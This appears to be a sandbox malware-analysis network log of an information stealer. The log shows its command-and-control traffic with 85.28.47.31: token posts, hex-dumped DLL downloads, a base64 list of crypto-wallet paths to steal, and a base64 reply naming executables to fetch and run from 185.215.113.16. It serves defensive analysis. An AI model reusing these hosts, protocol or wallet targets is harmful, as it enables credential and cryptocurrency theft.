0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file"------DHJECFCGHIDGHIDHDHIE--
Jul 26, 2024 08:57:51.868974924 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:57:52.749270916 CEST	90	OUT	GET /8405906461a5200c/freebl3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 08:57:52.936911106 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 26, 2024 08:57:52.936949968 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Jul 26, 2024 08:57:52.936961889 CEST	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Jul 26, 2024 08:57:52.937087059 CEST	672	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Jul 26, 2024 08:57:52.937098026 CEST	1236	IN	Data Raw: c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 00 00 83 c4 08 85 c0 74 30 8b 1f 85 db 74 2c 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 eb Data Ascii: GGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFHuWSFHE}j@PWS
Jul 26, 2024 08:57:52.937108994 CEST	1236	IN	Data Raw: 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b 47 04 39 08 76 17 68 05 e0 ff ff e8 b5 fa 07 00 83 c4 04 b8 ff ff ff ff Data Ascii: WVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1
Jul 26, 2024 08:57:52.937120914 CEST	1236	IN	Data Raw: 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 89 55 e4 8b 7d 10 8b 5d 08 8b 45 f0 Data Ascii: VuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQE}
Jul 26, 2024 08:57:52.937138081 CEST	672	IN	Data Raw: e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f Data Ascii: fpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo f
Jul 26, 2024 08:57:52.937303066 CEST	1236	IN	Data Raw: 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 08 03 45 e0 8b 55 e8 01 f2 83 c2 03 0f b6 d2 8b 75 f0 0f b6 1c 16 00 d9 0f b6 f1 8b 7d f0 8a 3c 37 8b 7d f0 88 3c 17 8b 55 f0 88 1c 32 Data Ascii: }4}4EUEUu}<7}<U2u4EUU}4}4E]Uu3EUEu}U}]E]
Jul 26, 2024 08:57:52.937314987 CEST	224	IN	Data Raw: 0f a4 de 08 0f a4 d3 08 89 9d 60 ff ff ff 8b 9d 74 ff ff ff 8b 53 18 89 95 e4 fe ff ff 01 55 d4 8b 53 1c 89 95 e8 fe ff ff 11 d1 8b 55 d4 8b 9d 60 ff ff ff 01 da 89 55 d4 11 f1 89 4d cc 31 c8 31 d7 89 fa 0f a4 c2 10 89 55 a4 0f ac c7 10 89 bd 54 Data Ascii: `tSUSU`UM11UTEEMM11E`tS LAS$AA0A4}qT1QP1
Jul 26, 2024 08:57:52.937654972 CEST	1236	IN	Data Raw: 1f 81 f2 6b bd 41 fb 89 f3 81 c3 2b f8 94 fe 89 5d ec 89 d7 81 d7 72 f3 6e 3c 89 7d e0 33 9d d0 fe ff ff 33 bd d4 fe ff ff 89 d9 0f a4 f9 08 0f a4 df 08 89 bd 48 ff ff ff 8b 9d 74 ff ff ff 8b 7b 28 89 bd fc fe ff ff 01 f8 8b 7b 2c 89 bd 00 ff ff Data Ascii: kA+]rn<}33Ht{({,]HE]11EuUUuu11UHtF00Qv4,AA8UA<}
Jul 26, 2024 08:57:54.146163940 CEST	90	OUT	GET /8405906461a5200c/mozglue.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 08:57:54.330539942 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 26, 2024 08:57:54.907939911 CEST	91	OUT	GET /8405906461a5200c/msvcp140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 08:57:55.086505890 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:54 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 26, 2024 08:57:55.447925091 CEST	87	OUT	GET /8405906461a5200c/nss3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 08:57:55.742140055 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 26, 2024 08:57:57.253223896 CEST	91	OUT	GET /8405906461a5200c/softokn3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 08:57:57.447532892 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 26, 2024 08:57:57.764429092 CEST	95	OUT	GET /8405906461a5200c/vcruntime140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 26, 2024 08:57:57.953769922 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 26, 2024 08:57:58.644784927 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE Host: 85.28.47.31 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 08:57:59.222989082 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 08:57:59.407322884 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDHDAFIDGDBGCAAFIDH Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 48 44 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 2d 2d 0d 0a Data Ascii: ------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------BGDHDAFIDGDBGCAAFIDHContent-Disposition: form-data; name="message"wallets------BGDHDAFIDGDBGCAAFIDH--
Jul 26, 2024 08:57:59.593601942 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 26, 2024 08:57:59.598215103 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJDGIEBKKFHJKJKEG Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 44 47 49 45 42 4b 4b 46 48 4a 4b 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 63 61 39 33 61 32 64 37 66 66 36 31 65 62 30 38 34 62 66 34 62 36 62 63 33 31 36 33 38 63 36 62 61 33 31 32 37 66 39 65 35 33 39 39 39 65 62 39 37 32 61 39 38 65 39 61 64 38 63 37 66 38 33 66 64 34 33 34 65 66 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 44 47 49 45 42 4b 4b 46 48 4a 4b 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 44 47 49 45 42 4b 4b 46 48 4a 4b 4a 4b 45 47 2d 2d 0d 0a Data Ascii: ------JEHIJDGIEBKKFHJKJKEGContent-Disposition: form-data; name="token"9ca93a2d7ff61eb084bf4b6bc31638c6ba3127f9e53999eb972a98e9ad8c7f83fd434ef7------JEHIJDGIEBKKFHJKJKEGContent-Disposition: form-data; name="message"ybncbhylepme------JEHIJDGIEBKKFHJKJKEG--
Jul 26, 2024 08:57:59.783442020 CEST	359	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:57:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 132 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 33 4e 76 61 32 45 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 6e 78 6f 64 48 52 77 4f 69 38 76 4d 54 67 31 4c 6a 49 78 4e 53 34 78 4d 54 4d 75 4d 54 59 76 62 57 6c 75 5a 53 39 6c 62 6e 52 6c 63 69 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 4a 38 Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L3Nva2EvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8MnxodHRwOi8vMTg1LjIxNS4xMTMuMTYvbWluZS9lbnRlci5leGV8MHwwfFN0YXJ0fDJ8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49757	185.215.113.19	80	7840	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
